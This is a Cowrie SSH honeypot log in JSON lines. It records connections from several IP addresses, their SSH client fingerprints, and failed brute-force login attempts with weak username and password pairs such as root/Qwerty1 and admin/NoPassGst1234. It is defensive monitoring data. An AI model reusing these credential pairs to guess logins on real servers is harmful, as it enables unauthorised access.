{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37124,"dst_ip":"10.17.0.5","dst_port":22,"session":"62d023dff228","protocol":"ssh","message":"New connection: 8.210.75.243:37124 (10.17.0.5:22) [session: 62d023dff228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:32.969951Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":52246,"dst_ip":"159.203.135.109","dst_port":22,"session":"8680dc46a17b","protocol":"ssh","message":"New connection: 161.97.75.11:52246 (159.203.135.109:22) [session: 8680dc46a17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:33.813193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:33.816938Z","src_ip":"161.97.75.11","session":"8680dc46a17b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:33.909958Z","src_ip":"161.97.75.11","session":"8680dc46a17b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"render","password":"render456","message":"login attempt [render/render456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:34.188010Z","src_ip":"161.97.75.11","session":"8680dc46a17b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:35.282578Z","src_ip":"161.97.75.11","session":"8680dc46a17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49252,"dst_ip":"10.17.0.5","dst_port":22,"session":"67761fbaaf67","protocol":"ssh","message":"New connection: 8.210.75.243:49252 (10.17.0.5:22) [session: 67761fbaaf67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:52.742264Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":24798,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c2ad8af10bc","protocol":"ssh","message":"New connection: 123.58.213.128:24798 (10.17.0.5:22) [session: 4c2ad8af10bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:54.069058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:54.072641Z","src_ip":"123.58.213.128","session":"4c2ad8af10bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:54.300119Z","src_ip":"123.58.213.128","session":"4c2ad8af10bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123.","message":"login attempt [root/Abc@123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:55.203283Z","src_ip":"123.58.213.128","session":"4c2ad8af10bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:26:56.426895Z","src_ip":"123.58.213.128","session":"4c2ad8af10bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":58439,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c74cca2eb42","protocol":"ssh","message":"New connection: 81.91.233.66:58439 (10.17.0.5:22) [session: 9c74cca2eb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:00.373856Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:00.376666Z","src_ip":"81.91.233.66","session":"9c74cca2eb42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":58501,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cf141682e14","protocol":"ssh","message":"New connection: 81.91.233.66:58501 (10.17.0.5:22) [session: 4cf141682e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:01.297055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:01.300941Z","src_ip":"81.91.233.66","session":"4cf141682e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:01.549987Z","src_ip":"81.91.233.66","session":"4cf141682e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"NoPassGst1234","message":"login attempt [admin/NoPassGst1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:02.578618Z","src_ip":"81.91.233.66","session":"4cf141682e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:03.068611Z","src_ip":"81.91.233.66","session":"4cf141682e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":58613,"dst_ip":"10.17.0.5","dst_port":22,"session":"371578415f75","protocol":"ssh","message":"New connection: 81.91.233.66:58613 (10.17.0.5:22) [session: 371578415f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:03.334792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:03.341452Z","src_ip":"81.91.233.66","session":"371578415f75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:03.593291Z","src_ip":"81.91.233.66","session":"371578415f75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:04.631622Z","src_ip":"81.91.233.66","session":"371578415f75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:05.123712Z","src_ip":"81.91.233.66","session":"371578415f75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":58726,"dst_ip":"10.17.0.5","dst_port":22,"session":"85dabdfd2b5b","protocol":"ssh","message":"New connection: 81.91.233.66:58726 (10.17.0.5:22) [session: 85dabdfd2b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:05.383516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:05.386947Z","src_ip":"81.91.233.66","session":"85dabdfd2b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:05.635697Z","src_ip":"81.91.233.66","session":"85dabdfd2b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qwerty1","message":"login attempt [admin/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:06.663087Z","src_ip":"81.91.233.66","session":"85dabdfd2b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:07.141384Z","src_ip":"81.91.233.66","session":"85dabdfd2b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":58843,"dst_ip":"10.17.0.5","dst_port":22,"session":"89a6b612c4b1","protocol":"ssh","message":"New connection: 81.91.233.66:58843 (10.17.0.5:22) [session: 89a6b612c4b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:07.415714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:07.418858Z","src_ip":"81.91.233.66","session":"89a6b612c4b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:07.673106Z","src_ip":"81.91.233.66","session":"89a6b612c4b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1","message":"login attempt [user/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:08.729038Z","src_ip":"81.91.233.66","session":"89a6b612c4b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:09.212278Z","src_ip":"81.91.233.66","session":"89a6b612c4b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":58957,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a8fe42940ba","protocol":"ssh","message":"New connection: 81.91.233.66:58957 (10.17.0.5:22) [session: 3a8fe42940ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:09.468368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:09.471045Z","src_ip":"81.91.233.66","session":"3a8fe42940ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:09.719651Z","src_ip":"81.91.233.66","session":"3a8fe42940ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Qwerty1","message":"login attempt [user2/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:10.746433Z","src_ip":"81.91.233.66","session":"3a8fe42940ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:11.228370Z","src_ip":"81.91.233.66","session":"3a8fe42940ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":59069,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d4fd6b96cde","protocol":"ssh","message":"New connection: 81.91.233.66:59069 (10.17.0.5:22) [session: 6d4fd6b96cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:11.490118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:11.497128Z","src_ip":"81.91.233.66","session":"6d4fd6b96cde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:11.744756Z","src_ip":"81.91.233.66","session":"6d4fd6b96cde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2012","message":"login attempt [root/Server2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:12.769847Z","src_ip":"81.91.233.66","session":"6d4fd6b96cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:13.261766Z","src_ip":"81.91.233.66","session":"6d4fd6b96cde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":1353,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fb0ffd57033","protocol":"ssh","message":"New connection: 81.91.233.66:1353 (10.17.0.5:22) [session: 8fb0ffd57033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:13.530049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:13.534845Z","src_ip":"81.91.233.66","session":"8fb0ffd57033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:13.785754Z","src_ip":"81.91.233.66","session":"8fb0ffd57033","protocol":"ssh"}
